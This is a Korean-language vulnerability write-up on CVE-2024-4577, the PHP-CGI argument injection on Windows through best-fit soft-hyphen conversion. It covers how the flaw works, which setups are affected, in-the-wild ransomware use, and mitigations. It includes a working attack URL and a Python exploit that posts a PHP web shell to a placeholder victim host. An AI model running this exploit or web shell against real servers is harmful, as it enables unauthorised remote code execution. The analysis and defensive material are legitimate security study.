개요
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2024-4577 |
| CVSS 점수 | 9.8 (Critical) |
| 영향 제품 | PHP CGI (Windows, 특정 로케일) |
| 취약점 유형 | Argument Injection |
| 인증 필요 | ❌ Pre-auth RCE |
| 발견 | DEVCORE, 2024년 6월 |
| 패치 | PHP 8.3.8, 8.2.20, 8.1.29 |
기본 원리: CGI와 인수 주입
PHP CGI 모드란
웹 서버가 PHP를 실행하는 방식에는 크게 두 가지가 있다.
방식 1 — PHP-FPM (현대적, 권장)
웹 서버(Apache/Nginx) ↔ FastCGI 소켓 ↔ PHP-FPM 프로세스 풀
PHP는 별도 데몬으로 실행, 메모리 공유
방식 2 — PHP CGI (구식, 취약)
HTTP 요청마다 새 프로세스 실행: apache → exec("php-cgi.exe ...")
URL 쿼리스트링이 그대로 커맨드라인 인수로 전달될 수 있음
성능 나쁘지만 일부 구형 설정(XAMPP 등)에서 여전히 사용
RFC 3875 — CGI의 설계 결함
RFC 3875(CGI 명세)에 따르면, URL 쿼리스트링에 = 기호가 없는 경우 쿼리스트링 전체를 커맨드라인 인수로 전달해야 한다. 이는 오래된 isindex 폼을 위한 기능이었다.
URL: /cgi-bin/php.cgi?arg1+arg2
쿼리스트링: "arg1 arg2" (= 없음)
→ PHP CGI 실행: php-cgi.exe arg1 arg2
URL: /cgi-bin/php.cgi?key=value
쿼리스트링: "key=value" (= 있음)
→ PHP 내에서 환경변수로 처리 (정상)
CVE-2012-1823은 이 기능을 악용해 -d 같은 PHP 옵션을 쿼리스트링으로 전달한 취약점이었다. 2012년 패치에서 쿼리스트링이 -로 시작하면 인수로 처리하지 않도록 필터링을 추가했다.
취약점 원리: Windows Best-fit 인코딩 변환
Windows의 문자 인코딩 변환
Windows는 멀티바이트 문자 인코딩(MBCS)과 유니코드(UTF-16) 사이를 변환할 때 Best-fit mapping을 사용한다. 이는 유니코드 문자 중 해당 코드 페이지에 정확히 대응하는 문자가 없을 때, 가장 비슷하게 생긴 문자로 대체하는 방식이다.
일본어 코드 페이지 CP932에서:
U+00AD (SOFT HYPHEN: ) → 0x2D (ASCII HYPHEN: -)
U+FF0D (FULLWIDTH HYPHEN: -) → 0x2D (ASCII HYPHEN: -)
U+2010 (HYPHEN: ‐) → 0x2D (ASCII HYPHEN: -)
한국어 코드 페이지 CP949에서도 유사한 변환 발생
이유: "soft hyphen"은 시각적으로 하이픈처럼 보이므로
"가장 가까운" 문자인 ASCII 하이픈(-)으로 매핑
우회 공격
PHP CGI의 2012년 패치는 쿼리스트링이 ASCII 하이픈 -(0x2D) 로 시작하면 차단한다. 그러나 Soft Hyphen(U+00AD) 은 ASCII가 아니므로 필터를 통과한다. 이 문자가 Windows의 코드 페이지 변환 과정에서 -로 변환된 후 PHP 인터프리터에 전달된다.
공격 URL: /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
URL 디코딩: ?d allow_url_include=1 d auto_prepend_file=php://input
↑ U+00AD (Soft Hyphen)
PHP CGI 필터 검사: ≠ - (필터 통과!)
Windows CP932 변환: → - (ASCII 하이픈으로 변환)
PHP 인터프리터 수신:
php-cgi.exe -d allow_url_include=1 -d auto_prepend_file=php://input
PHP -d 옵션: php.ini 설정을 런타임에 변경
allow_url_include=1 → URL에서 파일 include 허용
auto_prepend_file=php://input → 모든 PHP 실행 전 POST 바디를 include
→ POST 바디에 PHP 코드를 넣으면 서버에서 실행됨!
공격 코드
import requests
target = "http://victim.com/php-cgi/php-cgi.exe"
# %AD = Soft Hyphen (URL 인코딩)
# %3d = = (URL 인코딩)
params = "?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
# PHP 코드를 POST 바디로 전송 → auto_prepend_file=php://input에 의해 실행
php_code = "<?php echo shell_exec($_GET['cmd']); ?>"
resp = requests.post(
target + params,
data=php_code,
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
print(resp.text)
# 또는 직접 명령 실행
php_code = "<?php system('whoami'); ?>"
resp = requests.post(target + params, data=php_code)
print(resp.text) # → nt authority\system 또는 apache 계정
취약한 환경
필수 조건:
1. Windows 운영체제
2. PHP가 CGI 모드로 실행 (php-cgi.exe)
3. 취약한 로케일 코드 페이지 (CP932 일본어, CP950 중국어 번체,
CP936 중국어 간체, CP949 한국어 등 — Best-fit 변환 발생)
가장 흔한 취약 환경:
- XAMPP (Windows 기본 설치) — Apache + PHP CGI 기본 구성
- 일본어/한국어/중국어 Windows 서버
- 레거시 PHP 5.x/7.x 환경
안전한 환경:
- PHP-FPM 방식 사용 시
- Linux 환경 (Best-fit 변환 없음)
- 영어 US 로케일 (CP1252) — 일부 변환은 없으나 다른 변형 주의
실제 공격
패치 공개: 2024년 6월 6일 (PHP 8.3.8/8.2.20/8.1.29)
첫 야생 공격 관측: 2024년 6월 7일 (패치 후 24시간 이내!)
공격 그룹: TellYouThePass 랜섬웨어 그룹
공격 내용:
- CVE-2024-4577 RCE → 웹쉘 업로드
- 내부망 탐색 및 데이터 수집
- 랜섬웨어 배포
패치가 공개되자마자 공격자들이 역엔지니어링해 24시간 안에 익스플로잇을 만들었음.
"패치 후 n-day 공격"의 전형적 사례.
대응 방법
# PHP 버전 확인
php --version
# → 8.1.29 / 8.2.20 / 8.3.8 이상이어야 함
# PHP 업그레이드 (Windows)
# php.net에서 최신 버전 다운로드 후 교체
# Apache mod_rewrite로 악성 쿼리 차단 (임시 완화)
# httpd.conf 또는 .htaccess에 추가
RewriteEngine On
RewriteCond %{QUERY_STRING} ^[%\-+/\\]
RewriteRule .* - [F,L]
근본 해결책:
1. PHP를 CGI 모드 대신 PHP-FPM으로 전환 (권장)
2. XAMPP라면 업그레이드 또는 PHP-FPM 설정으로 변경
3. Windows 로케일을 영어(US)로 변경 — 근본 해결 아님, 다른 변환 가능
4. 외부 접근 가능한 php-cgi.exe 경로 차단
교훈
1. 문자 인코딩 변환은 보안 필터를 우회할 수 있다
→ 보안 검사는 항상 정규화(normalization) 후 수행
→ Windows API 호출 전에 유니코드 정규화: NFC/NFD/NFKC/NFKD
2. 이전 취약점 패치의 완전성 검증
→ CVE-2012-1823 패치가 일부 환경에서만 유효했음
→ 패치 후 다양한 인코딩/플랫폼 조합에서 재테스트 필요
3. 레거시 CGI 방식의 위험성
→ RFC 3875의 설계가 현대 보안 기준에 맞지 않음
→ PHP-FPM 등 현대적 실행 방식으로 마이그레이션 권장